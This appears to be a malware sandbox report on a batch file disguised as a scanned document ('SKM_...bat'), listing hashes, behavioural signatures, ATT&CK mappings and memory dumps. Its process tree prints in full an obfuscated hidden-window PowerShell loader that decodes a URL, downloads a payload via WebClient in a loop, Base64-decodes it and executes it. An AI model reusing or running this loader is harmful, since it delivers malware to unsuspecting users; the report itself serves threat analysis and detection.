4a4c0918bdacd60e792a814ddacc5dc7edb83644268611313cb9b453991ac628

Analysis

max time kernel
148s
max time network
150s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
18/10/2024, 10:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SKM_0001810-01-2024-GL-3762.bat
Size

5KB
MD5

94cfdc6035491e5b2be50fc7d7071ec1
SHA1

03a744cccaedb09ff1e1e4acf704a8d82b01d2ad
SHA256

9493ad437ea4b55629ee0a8d18141977c2632de42349a995730112727549f40e
SHA512

415d81ad761c3a507abc5ca15e56c3442b403bc4172d0215e13de6b5f7b13c30f76d7d3f35038ebd5c81d889b601e57d450467291b38f448f97988d45ca1ed64
SSDEEP

96:ZZ+/7UZr6BBrGhhQYs0QXw6Kd/zov4doU9NvMVcl/796JbwuRVrn8nrEH8yyk:ZZ+DOkChhQYsyltzaCN4cwRVrn8nrG1

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 59 IoCs

flow	pid	Process
5	1248	powershell.exe
6	1248	powershell.exe
7	1248	powershell.exe
8	1248	powershell.exe
9	1248	powershell.exe
10	1248	powershell.exe
11	1248	powershell.exe
12	1248	powershell.exe
13	1248	powershell.exe
14	1248	powershell.exe
15	1248	powershell.exe
16	1248	powershell.exe
17	1248	powershell.exe
18	1248	powershell.exe
19	1248	powershell.exe
20	1248	powershell.exe
21	1248	powershell.exe
22	1248	powershell.exe
23	1248	powershell.exe
24	1248	powershell.exe
25	1248	powershell.exe
26	1248	powershell.exe
27	1248	powershell.exe
28	1248	powershell.exe
29	1248	powershell.exe
30	1248	powershell.exe
31	1248	powershell.exe
32	1248	powershell.exe
33	1248	powershell.exe
34	1248	powershell.exe
35	1248	powershell.exe
36	1248	powershell.exe
37	1248	powershell.exe
38	1248	powershell.exe
39	1248	powershell.exe
40	1248	powershell.exe
41	1248	powershell.exe
42	1248	powershell.exe
43	1248	powershell.exe
44	1248	powershell.exe
45	1248	powershell.exe
46	1248	powershell.exe
47	1248	powershell.exe
48	1248	powershell.exe
49	1248	powershell.exe
50	1248	powershell.exe
51	1248	powershell.exe
52	1248	powershell.exe
53	1248	powershell.exe
54	1248	powershell.exe
55	1248	powershell.exe
56	1248	powershell.exe
57	1248	powershell.exe
58	1248	powershell.exe
59	1248	powershell.exe
60	1248	powershell.exe
61	1248	powershell.exe
62	1248	powershell.exe
63	1248	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1248	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1248	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1248	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1504 wrote to memory of 1248	1504	cmd.exe	31
PID 1504 wrote to memory of 1248	1504	cmd.exe	31
PID 1504 wrote to memory of 1248	1504	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\SKM_0001810-01-2024-GL-3762.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden " <#Enfect Tictoc Hellebardistens Skovrankernes Redoblingers Soloth #>;$Rawboned31='Observationsklasser';<#Calvinistically Brunstiges Matroser Researched #>;$Anisometropic=$Booed+$host.UI; function Overfallen($Subantarctic161){If ($Anisometropic) {$Fredningerne++;}$Ponceau=$Lsevrdiges+$Subantarctic161.'Length'-$Fredningerne; for( $Unsullenly=4;$Unsullenly -lt $Ponceau;$Unsullenly+=5){$Prikkendes=$Unsullenly;$Cembalister+=$Subantarctic161[$Unsullenly];$Overproductive='Mglernes';}$Cembalister;}function Indsigelser($bullaces){ & ($Klassikernes130) ($bullaces);}$Resistante=Overfallen ' upeMRdstoHalvz teriAntelja el Un aDogw/Forl ';$Resistante+=Overfallen ' ajs5N.en. eng0 or Step(B,nnWChiriDystnB dedFy koIntewRuf sSkol UninNT mbT unk Chap1Vern0None..yto0Kolo;Kleh LibrWRi.gi rugn D e6Ove 4Dyve;Over ,agdx opf6Lage4klas;Forf SkelrScorvDrif:Vate1Lith3Orga1Bogs.Ber 0Unla)Agle UnliGSynkeVurdcL rekHel oPles/Dane2Form0 Che1Ramb0P on0ublu1B.ll0 Udl1Top. VareFS peiSnasrKuldeIntefMalpoDrifxgr b/Best1.ana3 utw1.igt. Len0Ro,a ';$mbori=Overfallen 'ForsUTeleSPon,e IbiRCom,-unamAsk lGOps ECrypNTeleTYder ';$Thirdendeal=Overfallen 'BarrhSonatD.stt Othptr n:Chew/Mine/Wifea,tacrTrsktStati SkoeOverrTelti,rne.Mexir,agnoRecr/ ShalDos /Cap SUdd q NonuHy,riRagnr Raat.emiiRefos,okkhFrem. dstBomboD.edcinor ';$Chromophotographic=Overfallen 'soli> Kur ';$Klassikernes130=Overfallen 'Je eI F,leRepaXF nc ';$Adddbr='Malleal';$earlships='\Categorizes.Afg';Indsigelser (Overfallen 'Syzy$Ins,GMisaLDemoo vibBib a Seal Uti:CinnEKse NLag gEnjeR TroODataS llepI teROttoiinglSW.ekeF.amrGermnAbseeKory=Bes $ UdbEAp knKarrvAmar:F yvamanvP etypPat.DTrskAG,netHnenAFel,+Aaer$ Hiseko oA IngR stel PogSTou.hRe,uiFolkPPareSPrea ');Indsigelser (Overfallen ',rei$TwosgQua L errO SpeBdynaAK.ntLRdse:RefriSpe NUn eDTom oH,pemUnmiAElidbDehyl TaxeTeks=Nrin$Va ut LydH CouI OveRConnd Atoe U.sNEksiD ,rbeMania En LDilu.t.orSWavepK ntl leriFrihTDieb( oly$JordcTelehMd drbulloCaroMS eaOGru.P ceahOss OFacetSutuOPsykgClayrD riaH phpT chH EriI HolCGg,e)Ilds ');Indsigelser (Overfallen 'Hemo[B tyN lokEEf.eT Vra. T ssSixtEGeo.r FerVAnaliSv mc o,qe lorpSporoEndai OmbNTheutFilmMCustaAl,oN CroA YelGSkvaE edgr.lbn] Um.: rom: IniSC tre ndeCAffeuTongRTremIOp kt SelY .laP DisR Ge.OKlosTIn io EntCLmleo ell Den Grak= uni Toch[Uph,NCra E HypTSk.l.O,lgsLentE linC SlaUInsuRColoIEn.rtHavvYForsPVelfRDonno airtStikOMicrC.aneORotalSnuftUlvsYTilgpForteWea.]Mois:Le t: ,retBraiLDecrSSeku1Hept2 Mir ');$Thirdendeal=$Indomable[0];$Marinarkologer=(Overfallen 'Stup$ MorgBesklIns OTronb MatAVildL kke:PaasDSpecEInspsTil,EAmphNhockS SkrIMantTOpgrI SteZM rsABildT.apiiEp cOUr,enBedvSA pr=,ambnSproeSemiwKluk-U.deOvi abSoupJPhonESur cBallT oly Fde SR efYVandsSkdstGoutekollM Hie.Tre nT,rmETaubTBro .mo tWpr,pEFagmB Ha,cOverL polihydreBridn rrTAnes ');Indsigelser ($Marinarkologer);Indsigelser (Overfallen 'Tili$OmdeDunpreKhazs Gese innBrygsVaabi NsttNon i Ov.zResmaOr,itbu liblanoRappn.rsgsR.ad.horrH SoleHybea AnsdepileNor rZerssSkun[ Enr$No dm TzebJamio ,asrc cai Vin]kont=pe s$ EncR ForeNutrsTot,i.relsSeretSvi.asubtn SpatFr aeOu,s ');$Makkerens=Overfallen 'Mir $CockD frdeO ses Me e Baln mans SkriIntetHereiNatizUncoaGau,t Endii,osofro nuntes Odi.RounDSad,oSidsw LunnGalcl.radoaktiacynodApprF aboiD.fflAutoeSibs(Agra$AfseTPremh TidiHemirNa udkbere usinTurrdSchoeim.oa n.sl Van,Re,y$CoroN FjeoPhrenHerauAft sByp eIantrThorsWeat)Nedr ';$Nonusers=$Engrospriserne;Indsigelser (Overfallen 'Reel$ irtg agalArbeoT rtbCas A,kspLIndd:Graet avnRL,baeframsKnneiSem D AsteSmmeD,aanEjudaS Hy,=Dist(NachTImpuEFa ts,bbatThob-LaryPsoc,A HintPro HHnge Unsu$pastnOpnao AwnN ltrUAlkaSRaptETarmr WassMarm) Tox ');while (!$Tresidedes) {Indsigelser (Overfallen 'Nskv$sammgIn ilCr,moBeatbLadea ChulSimu:WinnSQuilaTronmAffalEpiteHirtmFe,saFll p S lpTesteTrain,kaa=L,kt$KimotBrysrF niu Re eS cs ') ;Indsigelser $Makkerens;Indsigelser (Overfallen 'Fo mS.ybetAc,daAm.iRRapptBrea-Puncs rolL uze StaEP orPShod Revi4Info ');Indsigelser (Overfallen 'le c$Ko eGMisel T.oOSinoBNomaAM ssL Eks:Die.t EgerflagEPhossA,rai Pr dTwisEWooddCirceE,ges Jun=Udes(S ustTheceApodsSkretMel -MisbPKongaViseTVintH Lsk Nonp$Tnknn belo.ancNAll USkabSMarieSpitr DucSdonk)de.l ') ;Indsigelser (Overfallen ' ee$ AntGObsel of.o SmebTerma ellPrei: ilsU O,sNSemiSProdyGarnSGigmTRekoE JewM CouaV kstPlaiiEx,esTi biSultNrebsgDi csRs,n=Valg$F.ung CulL,hreoCol bUi,dAArbeL N s: TeaUAktiN TessPolyURingCSammc Sp eWowsESemidWongi VinnRhinGPeev+Lyri+Ele,%D oz$PaleI FornUdglDS.gtOFemtmBlaaaEsteBRestl Kome Cri.RoofcMilioPsycUIndlngernT Hi ') ;$Thirdendeal=$Indomable[$unsystematisings];}$Brasilete=297855;$Dunkelt=31467;Indsigelser (Overfallen 'F ra$A ilg ReolRe.eoSupeb ForaS,ucLSt.f: rbeaContBWorkjMediE.humC Na TKupp Kne= T.l DatgNo me.aisTGlis-ForscDkk,OVldiN Selt L mESmlenHoffT Sti Eund$Angun atoUsocN UdvUpa kSIn uE InyRSy aS fte ');Indsigelser (Overfallen ' Ant$TilbgD khl ApooForsbHalfaSexclProt:WeenAT enr.aedaAchlc SpehS penVogeiogeed veta LasnEdri Dags= t.t Subl[ elS IntyDrivsb.zotRelae intmSk t. oadCBabuoScolnHa ivConce JenrLimft abs]We p:,ole:vandFKon rSynpoSealm WheBJag aSgetsBrugeKost6Macu4 UndS ingtU.akrGalai InfnGenog.eds(Gale$RendaBolibConvjLoope BjlcCalot Ko )Wewe ');Indsigelser (Overfallen ' mpl$ TubGS.igLUdnvOKongBIndiA .ntLP,os:Ov.rNTeleMe anTRece Glio= Can mov[CornS angYH.posOmbytUrocErimemUnsw.ArtiTBr.mE M.sxBronT nn.Pante inNKnogC Chao CoaD UnbIAlmuNLio g Reg] Ude: .ar:MickA FraSInteCM goideniIdive.Bespggrone FortVollSLaagtbr wrLo dIKe inEspeGKapi(opkl$BisiAUdtrRSupeA Be,cSudaHBlasNLuetis.ordN ncaAn.eN Rat)Vava ');Indsigelser (Overfallen 'Spha$Bes GUnralLanaObataBVandA DecLEnkr:.oneTNordUE,ipiTalr=Kare$EumiN.quaMresptVoca. Ga.SOmsmUSup.BHollS ,roTSamfRKla,iZealNStadg Mar(syge$ WalB Gr,ReuroAA.tiS toiBi eLem.oeSlyptBiltETrma, For$ irkDblgeUAfp.nCu tkSpriERumllYtretBade)Anno ');Indsigelser $Tui;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1248

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1248-4-0x000007FEF513E000-0x000007FEF513F000-memory.dmp

Filesize
4KB

Download
memory/1248-6-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/1248-5-0x000000001B960000-0x000000001BC42000-memory.dmp

Filesize
2.9MB

Download
memory/1248-11-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

Filesize
9.6MB

Download
memory/1248-10-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

Filesize
9.6MB

Download
memory/1248-9-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

Filesize
9.6MB

Download
memory/1248-8-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

Filesize
9.6MB

Download
memory/1248-7-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

Filesize
9.6MB

Download
memory/1248-12-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

Filesize
9.6MB

Download
memory/1248-13-0x000007FEF513E000-0x000007FEF513F000-memory.dmp

Filesize
4KB

Download
memory/1248-14-0x000007FEF4E80000-0x000007FEF581D000-memory.dmp

Filesize
9.6MB

Download